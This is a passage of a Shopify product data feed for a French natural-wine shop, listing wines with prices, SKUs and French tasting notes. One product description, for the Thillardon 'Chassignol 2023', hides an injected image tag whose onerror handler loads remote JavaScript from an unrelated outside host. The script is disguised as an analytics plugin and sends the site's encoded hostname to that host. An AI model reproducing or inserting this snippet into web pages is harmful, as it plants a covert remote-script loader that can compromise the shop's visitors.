Title","offer_id":47971770696021,"sku":"WLEBA0002-2021","price":37.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/jadis-811174_fe4b0198-b675-469e-9b04-b30c9e039c60.jpg?v=1709728040"},{"product_id":"faugeres-tradition-2020-domaine-leon-barral","title":"Faugères Tradition 2020 | Domaine Léon Barral","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cstrong data-mce-fragment=\"1\"\u003eTradition 2020 - Faugères - Domaine Léon Barral (Didier Barral)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003eMoins complexe que Jadis et cela reste certainement LA cuvée. Ici, c'est la fraicheur, le fruité des fruits rouges et noirs, les épices (garrigues) qui font de ce vin un petit bijou à (re)découvrir.\u003c\/p\u003e","brand":"Didier Barral","offers":[{"title":"Default Title","offer_id":47971797991765,"sku":"4391","price":22.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/tradition-barral-541422_1b932333-8e87-4f88-acd5-9023ad3e3bc3.jpg?v=1709728047"},{"product_id":"riesling-le-roi-2021-alice-bouvot-octavin","title":"Riesling Le Roi 2021 | Alice Bouvot (Octavin)","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cstyle type=\"text\/css\"\u003e\u003c!--\ntd {border: 1px solid #ccc;}br {mso-data-placement:same-cell;}\n--\u003e\u003c\/style\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cspan data-sheets-userformat='{\"2\":12995,\"3\":{\"1\":0},\"4\":{\"1\":2,\"2\":16777215},\"9\":0,\"10\":2,\"12\":0,\"15\":\"Arial\",\"16\":9}' data-sheets-value='{\"1\":2,\"2\":\"Riesling Le Roi 2020\"}'\u003eRiesling Le Roi 2021\u003c\/span\u003e - Vin de France - Négoce Alice Bouvot (Octavin)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eCépage : riesling Demeter du Domaine Philippe Brand, Alsace\u003c\/p\u003e\n\u003cp\u003eMacération pelliculaire de 15 jours.\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003eAromatique fruitée, légèrement épicée, pour un structure légèrement tannique et tout en fraîcheur.\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":47978896884053,"sku":"4402","price":23.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/3859-jura-domaine-de-l_octavin-blanc-riesling-le-roi-2020-r_8a88c46c-27b0-4d76-a56b-d660756a1870.jpg?v=1709817831"},{"product_id":"la-roche-bobreau-2020-chinon-domaine-des-freres","title":"La Roche Bobreau 2020 | Domaine des Frères","description":"\u003ch2 data-mce-fragment=\"1\"\u003eNotre avis sur ce vin\u003cbr\u003e\n\u003c\/h2\u003e\n\u003cstrong\u003eLa Roche Bobreau 2020 - Chinon - Domaine des Frères\u003cbr\u003e\u003c\/strong\u003e\n\u003cp\u003eUne cuvée dont les sols (argile pour la finesse et calcaire dur blanc pour la puissance) confèrent au vin, un squelette droit, rectiligne tout en puissance avec de beaux tanins présents et fondus à la fois. L'aromatique du vin se situe davantage sur des notes évoluées : eau de vie de cerise, tabac blond, fleurs séchées. Un vin de grande garde ! Un VIN \u003c\/p\u003e","brand":"domaine des Frères","offers":[{"title":"Default Title","offer_id":48000511476053,"sku":"4416","price":28.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/la-roche-bobreau-vin-nature-domaine-des-freres.jpg?v=1710945845"},{"product_id":"imago-2022-vin-des-allobroges-gringet-domaine-belema","title":"Imago 2022 |  Domaine Belema","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eImago 2022 - Vin des Allobroges Gringet - Domaine Belema (Yann Pernuit)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eCette cuvée de gringet vient d'arriver (mars 2024) et nous n'avons pas encore eu le temps de la déguster de nouveau mais nous avions adoré lors des salons de fin janvier 2024. Un vin avec bcp de fraicheur, d'énergie, de fruité et de tension. Attention un Grand vin !! \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003eYann Pernuit, travaillait avec le regretté Dominique Belluard, et ce dernier l'a aidé à s'installer sur \u003cmeta charset=\"utf-8\"\u003e\u003cspan data-mce-fragment=\"1\"\u003eAyse (pays du gringet).\u003c\/span\u003e\u003c\/p\u003e","brand":"Yann Pernuit","offers":[{"title":"Default Title","offer_id":48034012922197,"sku":"P4440-2022","price":23.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2364-savoie-les-vins-de-belema-blanc-imago-2021-_gringet_-r.jpg?v=1711190646"},{"product_id":"epsilon-virginis-2022-domaine-belema","title":"Epsilon Virginis 2022 | Domaine Belema","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eEpsilon Virginis 2022 - Vin des Allobroges Altesse - Domaine Belema (Yann Pernuit)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUne grande altesse pour un vin plein de fougue, d'éclat, d'énergie et de grande fraicheur. Un vin qui claque et ne vous laisse pas indifférent surtout pour un apéritif qui va vous mettre en appétit \u003c\/p\u003e","brand":"Yann Pernuit","offers":[{"title":"Default Title","offer_id":48034323235157,"sku":"P4441-2022","price":22.8,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/Epsilon-Virginis-Les-vins-de-belema.jpg?v=1711190651"},{"product_id":"la-coquille-2023-vin-de-pays-de-laveyron-patrick-rols","title":"La Coquille 2023 | Patrick Rols","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eLa Coquille 2023 - \u003cmeta charset=\"utf-8\"\u003eVin de Pays de l'Aveyron - Patrick Rols\u003c\/strong\u003e\u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003eUn assemblage de merlot, cabernet franc \/ sauvignon et syrah vinifié séparément en macération carbonique.\u003cbr\u003eUn vin frais sur le fruit qui coulisse aisément. Fraicheur et gourmandise !\u003cbr\u003e\u003cbr\u003eA (re)découvrir pour l'appellation et surtout le travail \"nature\" de Patrick Rols.\u003c\/p\u003e","brand":"Patrick Rols","offers":[{"title":"Default Title","offer_id":48107421499733,"sku":"P4485-2023","price":15.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/la-coquille-266183.jpg?v=1712087838"},{"product_id":"sa-2023-guillaume-noire","title":"Sa 2023 | Guillaume Noire","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cstrong data-mce-fragment=\"1\"\u003eSa 2023  - Vin de France - Guillaume Noire\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e100% sauvignon !\u003cbr\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003eBelle attaque franche et ronde. Présence d'une légère perlance sur certaines bouteilles. Belle finale très juteuse sur de beaux amers et des notes de pêche et d'agrumes.\u003c\/p\u003e","brand":"Guillaume Noire","offers":[{"title":"Default Title","offer_id":48356818354517,"sku":"P4545-2023","price":17.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/Sa2023-GuillaumeNoire.jpg?v=1716225879"},{"product_id":"racines-blanc-2022-cailloux-du-paradis","title":"Racines blanc 2022 | Cailloux du Paradis","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eRacines blanc 2022 - Cailloux du Paradis \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe nez est fin avec beaucoup de fraicheur à l'ouverture malgré la puissance que l'on perçoit déjà. La bouche est ample et puissante, sur la générosité de fruits jaunes très mûrs -pêches, mirabelles - suivi d'herbacé - foin coupé, herbes sêches - Impression presque tanique avec de beaux amers dûs à une oxydation légère, qui redouble en fin de bouche -noix fraiche-. Fraicheur continue, complexe, extrêmement équilibrée.\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":48403462390101,"sku":"P4581-2022","price":37.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/1613-vallee-de-la-loire-les-cailloux-du-paradis-blanc-racines-2019-r_cf2118d2-0b1c-4eda-8011-99d5fbc21281.jpg?v=1716420603"},{"product_id":"cabernet-franc-2019-claude-courtois","title":"Cabernet Franc 2019 | Claude Courtois","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCabernet Franc 2019 - Vin de France - Claude Courtois - Cailloux du Paradis\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn cabernet à la maturité optimale (c'est important), au profil fruité et tendu avec juste ce qu'il faut de grain pour donner du fond au vin. \u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":48409414697301,"sku":"P4586-2019","price":58.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/4586site.jpg?v=1720627282"},{"product_id":"raymond-2022-claude-courtois","title":"Raymond 2022 | Claude Courtois","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eRaymond 2022 - Les Cailloux du Paradis - Claude Courtois\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUne nouvelle cuvée composée de plus de 20 cépages by Claude Courtois. Cuvée qui porte le nom du Père de Claude, toujours en hommage.\u003c\/p\u003e\n\u003cp\u003eClaude nous a donné quelques pistes de dégustation avant que nous puissions le déguster par nous même. Un vin franc, droit et minéral. Profond avec des notes de groseilles, cerises; Finale saline. Un vin possédant grande fraicheur et qui pour autant se garder facilement plus de 15 ans !\u003c\/p\u003e","brand":"Cailloux du Paradis","offers":[{"title":"Default Title","offer_id":48409471222101,"sku":"P4587-2022","price":42.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/cuveeraymonclaudecourtois.jpg?v=1718361662"},{"product_id":"de-lautre-cote-2022-domaine-lindenlaub","title":"De l'Autre Côté 2022 | Domaine Lindenlaub","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDe l'Autre Côté 2022 (auxerrois) - Alsace - Domaine Lindenlaub\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe pif contient des notes d'anis et de fleurs blanches, tout cela annonce plein de bonnes choses pour la suite. Et ouhlala en effet, quelle attaque ! Il a de l'énergie à revendre ce p'tit auxerrois. De la fraîcheur et un léger gras en fin de bouche qui donne une vraie densité au vin. Un pur plaisir !\u003c\/p\u003e","brand":"Christophe Lindenlaub","offers":[{"title":"Default Title","offer_id":48493270204757,"sku":"P4640-2022","price":15.8,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/de-lautre-cote-auxerrois-785587_9ba7dd42-3079-441c-b97a-5d2f83048006.jpg?v=1693234577"},{"product_id":"louise-blanc-domaine-de-malavieille","title":"Louise blanc | Domaine de Malavieille","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eLouise blanc - Vin de France - Domaine de Malavieille\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLe nez et la bouche sont très expressifs, sur des notes de fruits jaunes (abricot, pêche) puis évoluent sur des notes orientales et florales. Un vin qui semble au départ assez simple mais qui finalement montre une complexité rafraichissante. \u003c\/p\u003e","brand":"Malavieille","offers":[{"title":"Default Title","offer_id":49066208428373,"sku":"P4685-1111","price":11.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/louiseblanc.jpg?v=1720021115"},{"product_id":"monbazar-2021-barouillet","title":"Monbazar 2021 | Barouillet","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cstrong data-mce-fragment=\"1\"\u003eMonbazar 2021 - Vin de France- Château Barouillet\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003eC'est frais, tendu comme il faut et super digeste. Le sucre est bien équilibré, c'est rond et gourmand. C'est vrai qu'on ne vous propose pas beaucoup de liquoreux chez petites caves mais là on ne pouvait pas passer à côté !\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Vincent Alexis","offers":[{"title":"Default Title","offer_id":49106477220181,"sku":"P4710-2021","price":13.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/Sud-ouest-chateau-barouillet-monbazar.jpg?v=1637330662"},{"product_id":"bergecrac-rouge-2023-chateau-barouillet","title":"BergecRac rouge 2024 | Château Barouillet","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eBergecRac rouge 2024 - Vin de France - Château Barouillet\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eNez réglissé et sur le cassis. En bouche c'est sur le fruit également avec beaucoup de fraîcheur pour ensuite aller vers une finale généreuse avec de beaux tanins. \u003cbr\u003eUn vin de soif avec du caractère ! \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Vincent Alexis","offers":[{"title":"Default Title","offer_id":49106483380565,"sku":"P4711-2024","price":9.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/bergecracrougebarouillet.jpg?v=1720021111"},{"product_id":"mephisto-2020-domaine-de-l-ecu","title":"Méphisto MMXX | Domaine de l'Ecu","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eMéphisto MMXX - Domaine de l'Ecu\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eLes notes qui nous arrivent au nez sont intenses après un bon passage en carafe. Camphre, fruits noirs macérés, touche poivrée avec un côté un peu sanguin.\u003c\/p\u003e\n\u003cp\u003eGros potentiel pour ce Cabernet Franc qui commence à s'assagir côté tanins. Oui cette cuvée sera \u003cstrong\u003ed'ENFER\u003c\/strong\u003e  dans quelques temps ou après un bon coup de carafe !\u003c\/p\u003e","brand":"Domaine de l'ECU","offers":[{"title":"Default Title","offer_id":49157797347669,"sku":"P4748-2020","price":27.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/mephisto-961962_f7479232-2059-4b14-ae08-d4fe74e7c032.jpg?v=1658831306"},{"product_id":"splash-2022-chateau-barouillet","title":"Splash ! L23 | Château Barouillet","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSplash ! L23 - Vin de France  - Château Barouillet\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e\u003cb\u003ePétillant naturel 100 % Sémillon.\u003c\/b\u003e. Stocker debout au frigo au moins 24 h à l'avance. Sinon ... \u003cem\u003eSplash ! :-)\u003cbr\u003e\u003c\/em\u003eUn vin très rafraichissant, sur des notes de citron et de fruits blancs bien frais. Un vin pour l'apéro, les amis, la piscine, la pétanque, le palet etc.. nuit et jour :) \u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Vincent Alexis","offers":[{"title":"Default Title","offer_id":49417088237909,"sku":"P4713-2023","price":13.4,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/splashrougebarouillet.jpg?v=1720021143"},{"product_id":"taurus-mmxx-domaine-de-lecu","title":"Taurus MMXX | Domaine de l'Ecu","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eTaurus MMXX - Vin de France - Domaine de l'Ecu\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp style=\"text-align: justify;\"\u003e\u003cspan\u003eNez élégant sur des notes minérales prononcées, notes d’agrumes, citron et pamplemousse, notes délicates de fleurs blanches, fruits secs, amande, notes toastées. Bouche grasse, opulente et contrebalancée par une fine acidité, une vivacité qui porte l’équilibre de ce vin.\u003c\/span\u003e\u003c\/p\u003e\n\u003cp\u003eUn vin en 100% melon de Bourgogne qui sublimera vos grands plats à base de poisson et crustacés! Un vin qui saura apprécier la garde.\u003c\/p\u003e","brand":"Les Grappes","offers":[{"title":"Default Title","offer_id":49824750338389,"sku":"P4891-2020","price":33.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/taurusdomaineecusite.jpg?v=1730788886"},{"product_id":"cariboum-2022-domaine-de-loctavin","title":"Cariboum 2022 | Domaine de l'Octavin","description":"\u003ch2\u003eNotre avis sur ce vin ❤️\u003c\/h2\u003e\n\u003cstyle type=\"text\/css\"\u003e\u003c!--\ntd {border: 1px solid #ccc;}br {mso-data-placement:same-cell;}\n--\u003e\u003c\/style\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cspan data-sheets-userformat='{\"2\":12995,\"3\":{\"1\":0},\"4\":{\"1\":2,\"2\":16777215},\"9\":0,\"10\":2,\"12\":0,\"15\":\"Arial\",\"16\":9}' data-sheets-value='{\"1\":2,\"2\":\"Cariboum 2020\"}'\u003eCariboum 2022 \u003c\/span\u003e- Vin de France - Alice Bouvot négoce de Domaine de l'Octavin\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eAchat de carignan vinifié naturellement. Une vrai bombe aromatique soutenue par de la fraîcheur, de l'acidité, juste ce qu'il faut.\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Alice Bouvot","offers":[{"title":"Default Title","offer_id":49836169920853,"sku":"P4902-2022","price":23.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/2034-jura-octavin-cariboum-2017-r.jpg?v=1663756626"},{"product_id":"muscat-petite-fleur-2023-domaine-julien-meyer","title":"Muscat Petite Fleur 2023 | Domaine Julien Meyer","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cb\u003eMuscat Petite Fleur 2023 - Domaine Julien Meyer (Mireille et Patrick Meyer)\u003c\/b\u003e\u003c\/p\u003e\n\u003cp\u003eLa macération apporte un peu plus de fraicheur que d'ordinaire sur ce muscat. Le résultat donne tout simplement l'impression de croquer dans le fruit à pleines dents et le voyage est très long.\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Patrick Meyer","offers":[{"title":"Default Title","offer_id":49878933602645,"sku":"P4911-2023","price":18.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/2123-alsace-julien-meyer-muscat-petite-fleur-maceration-2020-r.jpg?v=1663756687"},{"product_id":"pinot-gris-maceration-2023-domaine-julien-meyer","title":"Pinot Gris Macération 2023 | Domaine Julien Meyer","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cmeta charset=\"utf-8\"\u003ePinot Gris Macération 2023 - Domaine Julien Meyer (Mireille et Patrick)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e","brand":"Patrick Meyer","offers":[{"title":"Default Title","offer_id":49878993338709,"sku":"P4912-2023","price":17.2,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/P4912-20231.jpg?v=1737070017"},{"product_id":"pinot-noir-le-vieux-chemin-2022-domaine-julien-meyer","title":"Pinot Noir Le Vieux Chemin 2022 | Domaine Julien Meyer","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003ePinot Noir Le Vieux Chemin 2022 - Alsace - Domaine Julien Meyer \u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn pinot Alsacien frais, digeste sur les fruits rouges (griotte). C'est pur, c'est la nature !\u003c\/p\u003e\n\u003cp\u003ePeut être légèrement perlant à l'ouverture, aération conseillée. \u003c\/p\u003e","brand":"Patrick Meyer","offers":[{"title":"Default Title","offer_id":49879213408597,"sku":"P4914-2022","price":18.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/3274-alsace-domaine-julien-meyer-rouge-pinot-noir-le-vx-chemin-2020-r.jpg?v=1641995659"},{"product_id":"carignan-blanc-2022-domaine-ledogar","title":"Carignan blanc 2022 | Domaine Ledogar","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eCarignan blanc 2022 - Vin de France - Domaine Ledogar (Languedoc)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003esur cette mise particulière, nous sommes sur un élevage long et dans un \u003cstrong\u003eoeuf béton\u003c\/strong\u003e. On gagne encore en finesse et en profondeur. Une énorme quille !\u003c\/p\u003e\n\u003cp\u003eVoilà quelques années que nous les goûtons et à chaque fois on se dit \"wouahou quel vin, quelle originalité !\". Ce carignan blanc exprime des arômes de céréales chauds, des touches de fleurs séchées, de petits fruits jaunes secs. Bouche ample et ronde au départ puis rapidement qui se rétrécie sur la finale pour obtenir un côté presque épicé.\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Xavier, Benoît et Mathieu Ledogar","offers":[{"title":"Default Title","offer_id":49900512346453,"sku":"P4920-2022","price":25.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/carignanblanc2020ovoideledogar.jpg?v=1677795181"},{"product_id":"mon-blanc-orange-2023-damien-bastian","title":"Mon Blanc Orangé 2024 | Damien Bastian","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cdiv title=\"Page 1\" class=\"page\"\u003e\n\u003cdiv class=\"section\"\u003e\n\u003cdiv class=\"layoutArea\"\u003e\n\u003cdiv class=\"column\"\u003e\n\u003cp\u003e\u003cstrong\u003eMon Blanc Orangé 2024 - \u003cmeta charset=\"utf-8\"\u003eVin de France - Ça boit libre - Damien Bastian \u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003cp\u003eLe nez est subtil avec des notes de fruits confits et exotiques. Rondeur, aromatique. Un vin imposant par sa puissance, sa fraicheur et sa minéralité. Grosse quille avec une longueur épicée... juste houahou !\u003c\/p\u003e","brand":"Damien Bastian","offers":[{"title":"Default Title","offer_id":49919329468757,"sku":"WDABA0003-2024","price":24.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/3222-savoie-damien-bastian-blanc-mon-blanc-orange--2020-r_30cf7a24-b6e8-4153-be79-7608a937c973.jpg?v=1665590003"},{"product_id":"blanc-2019-didier-barral","title":"Blanc 2023 | Domaine Léon Barral","description":"\u003ch2\u003eNotre avis sur ce vin bio \u003cmeta charset=\"utf-8\"\u003e \u003cstrong\u003e❤️\u003c\/strong\u003e\n\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eBlanc 2023 - Vin de France - Didier Barral (Domaine Léon Barral)\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eToujours un de nos chouchoux enfin chez Petitescaves.com\u003cbr\u003e\u003cbr\u003eLe Blanc de Didier Barral trouve sa trame, son âme grâce à ce cépage quasi-disparu (le Terret Bourret). Le nez respire les arômes de noyau d'abricot, d'amande et d'orange. Complexe et particulière, la bouche porte la structure de la macération avec une véritable sensation tannique et une belle persistance. Une cuvée destinée aux amateurs ou aux curieux de nouvelles sensations !. Il claque en fin de bouche avec une finale gigantesque...\u003c\/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003c\/p\u003e","brand":"Didier Barral","offers":[{"title":"Default Title","offer_id":50010869760341,"sku":"P4957-2023","price":28.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/products\/blanc-de-barral-2019-265580.jpg?v=1611690847"},{"product_id":"chassignol-2023-domaine-thillardon","title":"Chassignol 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChassignol 2023 - Chénas - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eUn superbe jus qui allie finesse, minéralité et puissance. Le jus est sur le fruit, c'est du gamay tout de même, mais il y a une structure des plus nobles également dans cette cuvée Chassignol. Un grand vin !\u003c\/p\u003e\n\u003cp\u003eVinification sans intrant.\u003cbr\u003eChassignol est une parcelle qui jouxte le chai du domaine, sur un coteau très pentu (mécanisation impossible, donc travail au cheval). Le sol se compose de granite lardé de quartz. \u003cbr\u003e\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cdiv id=\"mailtorapidetoPopupModal\" style=\"z-index: 1;\"\u003e\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/[fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s)](http:\/\/fevoki.wejekihota.com\/scripts\/js?k=5eb00e0d87df1ae9538b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s));'\u003e\u003c\/div\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50015239209301,"sku":"P4324-2023","price":34.9,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2388-beaujolais-domaine-thillardon-rouge-chassignol-2021-r_ee1bb330-ad4d-4233-9de0-80f061816aaf.jpg?v=1708103978"},{"product_id":"les-carrieres-2023-domaine-thillardon","title":"Les Carrières 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eLes Carrières 2023 - Chénas - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eEncore un superbe jus du domaine, élégant et charnu. Notes de fruits rouges (fraises, framboises) et de roses, le vin présente une belle tenue entre jus et finessse de tanins. Belle garde possible !\u003c\/p\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default Title","offer_id":50015269519701,"sku":"P4325-2023","price":25.5,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/2389-beaujolais-domaine-thillardon-rouge-les-carrieres-2021-r_a8d3b6bf-4628-48be-a732-24a123c12b60.jpg?v=1708103998"},{"product_id":"sous-la-roche-2023-domaine-thillardon","title":"Sous la Roche 2023 | Domaine Thillardon","description":"\u003ch2\u003eNotre avis sur ce vin\u003c\/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSous la Roche 2023 - Moulin à Vent - Domaine Thillardon\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003eSur les fruits des bois et notes poivrées, corps velouté, tactile agréable rehaussé par des tanins fondus.\u003c\/p\u003e","brand":"Paul-Henri et Charles Thillardon","offers":[{"title":"Default 